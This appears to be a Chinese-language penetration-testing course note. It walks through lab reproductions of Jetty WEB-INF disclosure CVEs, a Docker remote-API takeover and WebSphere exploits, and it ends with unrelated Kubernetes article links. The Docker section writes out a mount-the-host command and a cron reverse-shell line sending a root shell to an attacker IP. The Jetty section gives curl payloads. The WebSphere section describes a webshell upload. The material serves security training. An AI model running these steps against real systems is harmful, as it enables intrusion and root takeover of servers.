Kubernetes（简称k8s）是Google开源的一个容器集群管理系统，使用Go语言开发，用于管理云平台中多个主机上的容器化的应用。它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时，通常要部署该应用的多个实例以便对应用请求进行负载均衡。在Kubernetes中，我们可以创建多个容器，每个容器里面运行一个应用实例，然后通过内置的负载均衡策略，实现对这一组应用实例的管理、发现、访问，而这些细节都不需要运维人员去进行复杂的手工配置和处理。

这节课不做展示，权限提升再讲。

2、Jetty

简介：

Elipse Jetty 是一个开源的 servlet 容器，它为基于 Java 的 Web 容器提供运行环境。

（1）CVE-2021-28164 不明确路径信息泄露漏洞

简介：

Eclipse Jetty 9.4.37.v20210219 至 9.4.38.v20210224 版本存在安全漏洞，该漏洞源于默认符合性模式允许具有包含%2e或%2e%2e段的URI的请求访问 WEB-INF 目录中受保护的资源，攻击者可以利用例如对 /context/%2e/WEB-INF/web.xml 可以检索 web.xml 文件，可能会显示有关 web 应用程序实现的敏感信息。

影响版本：

Jetty = 9.4.37、9.4.40、9.4.43

打开vulhub的/jetty/CVE-2021-28164/目录，启动docker-compose up -d启动容器，访问页面

访问/WEB-INF/web.xml，返回404 not found，访问/%2e/WEB-INF/web.xml也是如此

打开kali，利用命令1显示web.xml文件信息，也可使用命令2保存到本地

命令1：curl -v 'http://192.168.190.153:8080/%2e/WEB-INF/web.xml'

命令2：curl 'http://192.168.190.153:8080/%2e/WEB-INF/web.xml' -o ./a.txt

（2）CVE-2021-28169 路径限制绕过漏洞

简介：

对于Eclipse Jetty版本<=9.4.40、<=10.0.2、<=11.0.2，向具有双重编码路径的ConcatServlet的请求可以访问WEB-INF目录中的受保护资源。例如，请求“/concat?/%2557EB-INF/web.xml”可以检索web.xml文件。这可能会泄露有关web应用程序实现的敏感信息。

影响版本：

Eclipse Jetty ≤ 9.4.40

Eclipse Jetty ≤ 10.0.2

Eclipse Jetty ≤ 11.0.2

打开vulhub的/jetty/CVE-2021-28169/目录，启动docker-compose up -d启动容器，访问页面

访问/static?/WEB-INF/web.xml，返回404 not found

对字母“W"进行双重URL编码，访问/static?/%2557EB-INF/web.xml即可绕过限制

实测改其它字母也可绕过，例如把"E"改为%2545也可绕过（%25对应%，%2545为%45，把%45url解码即为E）

（3）CVE-2021-34429 敏感信息泄露漏洞

简介：

对于Eclipse Jetty版本为9.4.37-9.4.42、10.0.1-10.0.5和11.0.1-11.0.5，可以使用一些编码字符来创建URL，以访问WEB-INF目录的内容和绕过一些安全约束。此漏洞是CVE-2021-28164和CVE-2021-28169新的绕过方式。

影响版本：

9.4.37 ≤ Eclipse Jetty ≤ 9.4.42

10.0.1 ≤ Eclipse Jetty ≤ 10.0.5

11.0.1 ≤ Eclipse Jetty ≤ 11.0.5

打开vulhub的/jetty/CVE-2021-34429/目录，启动docker-compose up -d启动容器，访问页面

访问/static?/WEB-INF/web.xml，返回404 not found

访问/%u002e/WEB-INF/web.xml，即可绕过限制

以上三个漏洞，都可通过curl -I 'http://ip:8080'查看Jetty版本号。但仅仅是泄露敏感信息说实话用处不大

3、Docker

简介：

Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中，然后发布到任何流行的 Linux或Windows操作系统的机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口。

简单来说，就相当于码头上的一个个集装箱，每个箱子之间互不影响并且开箱即用，不需要在docker内额外配置环境。

判断当前环境是否为docker

方式一：ls -alh /.dockerenv 非docker环境没有这个文件，无法访问

方式二：cat /proc/1/cgroup 非docker环境中没有docker相关进程

docker各漏洞产生原因：

1、由内核漏洞引起：Dirty COW(CVE-2016-5195)

2、由 Docker 软件设计引起：CVE-2019-5736、CVE-2019-14271，CVE-2020-15257

3、由配置不当引起：开启 privileged（特权模式）+宿主机目录挂载、功能（capabilities）机制、sock 通信方式

（1）CVE-2016-5195 DirtyCow内核提权漏洞 (环境搭建失败)

简介：

在4.8.3之前的Linux内核2.x到4.x中mm/gup.c中的竞争条件允许本地用户通过利用对写时拷贝（COW）功能的错误处理来写入只读内存映射来获得特权，这在2016年10月被广泛利用，也称为“脏牛”漏洞。

影响版本：

Linux内核>=2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复

用了一天搭建靶场，遗憾没有完美的环境进行复现（蚌埠住了一天就这样浪费了）

（2）CVE-2019-5736 docker逃逸漏洞（环境搭建失败）

简介：

Docker、containerd或者其他基于runc的容器运行时存在安全漏洞，攻击者可以通过特定的容器镜像或者exec操作，来获取到宿主机的runc执行时的文件句柄，并修改掉runc的二进制文件，从而可以在宿主机上以root身份执行命令。

影响版本：

docker version <=18.09.2

RunC version <=1.0-rc6

环境搭建失败无法复现

（3）未授权访问漏洞

简介：

如果在docker上配置了远程访问，docker 节点上会开放一个TCP端口2375，绑定在0.0.0.0上，如果没有做限制的话，攻击者就可以通过Docker未授权来控制服务器。

影响版本：

Docker Remote API 1.3

Docker Remote API 1.6

由于vulhub启动docker靶场失败，可以在合天网安实验室进行实验，里面也有详细实验步骤

实验环境

目标机器： CentOS7+Docker、IP：10.1.1.200
攻击机器：Kali+Docker、IP：10.1.1.100

创建实验机，进入kali，使用nmap扫描靶机，发现docker开启2375端口

nmap -p- -sV -T4 10.1.1.200

-p：探测端口，-p-表示扫描所有端口

-sV：探测开放的端口的系统/服务信息

-T4：设置时间模板，值越大扫描速率越快

访问2375端口，出现“page not found”说明存在漏洞

还可通过访问info获取docker主机信息

既然漏洞存在，那么下面就进行漏洞利用

docker -H tcp://10.1.1.200 ps -a #列出靶机的容器列表

可以使用start命令启动一个靶机容器，attach进入该容器

这样就能获得一个容器的权限，但是想要进行docker逃逸，需要反弹shell，首先攻击机开启监听端口

接着通过容器在靶机写入定时反弹shell任务

docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash 容器ID

-H：指定容器，这里指定tcp远程访问10.1.1.200的docker
-it：交互模式运行容器
-v：绑定一个卷，设置容器的挂载点，相当于将靶机根目录映射到容器中/mnt目录，这样在容器中就能读取或写入信息到靶机目录

echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.101/1234 0>&1" > /mnt/var/spool/cron/root

写入反弹shell到/mnt/var/spool/cron/root，相当于写入到靶机的/var/spool/cron/root
cron是CentOS下的定时执行工具，定时后可自动运行程序，CentOS下路径（/var/spool/cron），Ubutun下路径为（/var/spool/cron/crontabs/
定时反弹的* * * * *分别代表分时日月周，*为每过一个单位时间执行，这里代表每一分钟执行一次命令

等待一分钟，反弹成功，获得靶机root权限

4、WebSphere

简介：

WebSphere Application Server加速交付新应用程序和服务，它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选择，以便更好地协调项目需求与编程模型功能和开发人员技能。端口：9080-web(http)应用访问端口、9443-web(https)应用访问端口、9060-管理后台访问端口、9043-管理控制台安全端口、8880-SOAP连接器端口等等。漏洞探测在8880端口，后台是9060端口，解析是9080端口。

使用docker搭建环境（镜像非常大，下载会比较慢，下载过程中须保持网络通畅）
docker pull iscrosales/websphere7
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

（1）CVE-2015-7450 反序列化漏洞

简介：

由于使用Java InvokerTransformer类对数据进行反序列化，Apache Commons Collections可能允许远程攻击者在系统上执行任意代码。通过发送特制数据，攻击者可以利用此漏洞在系统上执行任意Java代码。

影响版本：

IBM Websphere Application Server 7.0

IBM Websphere Application Server 6.2

WebSphere的反序列化漏洞默认配置发生在通信端口8880，默认发送的数据为XML格式。

访问8880端口，如果存在以下界面，则可能存在漏洞。

用反序列化工具测试漏洞，可获得Linux版本，对照正确

这里拿到的是普通用户权限

（2）弱口令&后台getshell

简介：

在6.x至7.0版本，后台登陆只需要输入admin作为用户标识，无需密码，即可登陆后台，在后台可上传木马进行连接。

影响版本：

全版本

访问http://192.168.190.131:9060/ibm/console/logon.jsp,输入默认密码admin进入后台

点击WebSphere enterprise applications，上传jsp压缩的war包（不懂看之前的课程）

上传后，一直点击Next，直到step4

在Context Root写入访问url路径，一直点Next最后点Finish

点击Save保存配置，然后启动刚才上传的war包

访问http://192.168.190.131:9060/2/1.jsp(http://ip:9060/设置的路径/上传的jsp文件名)，若是空白说明文件存在，可判定上传成功

连接成功，拿到的也是普通用户权限

（3）CVE-2020-4450 反序列化远程代码执行漏洞（无poc/exp）

简介：

此漏洞由IIOP协议上的反序列化造成，未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server，在目标服务端执行任意代码，获取系统权限，进而接管服务器。

影响版本：

WebSphere Application Server: 9.0.0.0 to 9.0.5.4

WebSphere Application Server: 8.5.0.0 to 8.5.5.17

WebSphere Application Server: 8.0.0.0 to 8.0.0.15

WebSphere Application Server: 7.0.0.0 to 7.0.0.45

此漏洞目前无exp/poc，只有分析文章，这里复现不了

四、总结

这几个中间件在日常碰见概率不大，但还是有必要认识一下。

K8S/Kubernetes

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐

【深度】阿里巴巴万级规模 K8s 集群全局高可用体系之美

作者 | 韩堂、柘远、沉醉来源 | 阿里巴巴云原生公众号前言台湾作家林清玄在接受记者采访的时候，如此评价自己 30 多年写作生涯：“第一个十年我才华横溢，‘贼光闪现’，令周边黯然失色；第二个十年，我终于‘宝光现形’，不再去抢风头，反而与身边的美丽相得益彰；进入第三个十年，繁华落尽见真醇，我进入了‘醇光初现’的阶段，真正体味到了境界之美”。长夜有穷，真水无香。领略过了 K8s“身在江

K8S/Kubernetes

如何基于 K8s 构建下一代 DevOps 平台？

作者 | 孙健波（天元）导读：当前云原生 DevOps 体系现状如何？面临哪些挑战？如何通过 OAM 解决云原生 DevOps 场景下的诸多问题？云原生开发应用模型 OAM(Open Application Model) 社区核心成员孙健波将为大家一一解答，并分享如何基于 OAM 和 Kubernetes 打造无限能力的下一代 DevOps 平台。什么是 DevOps？为什么基于 Kub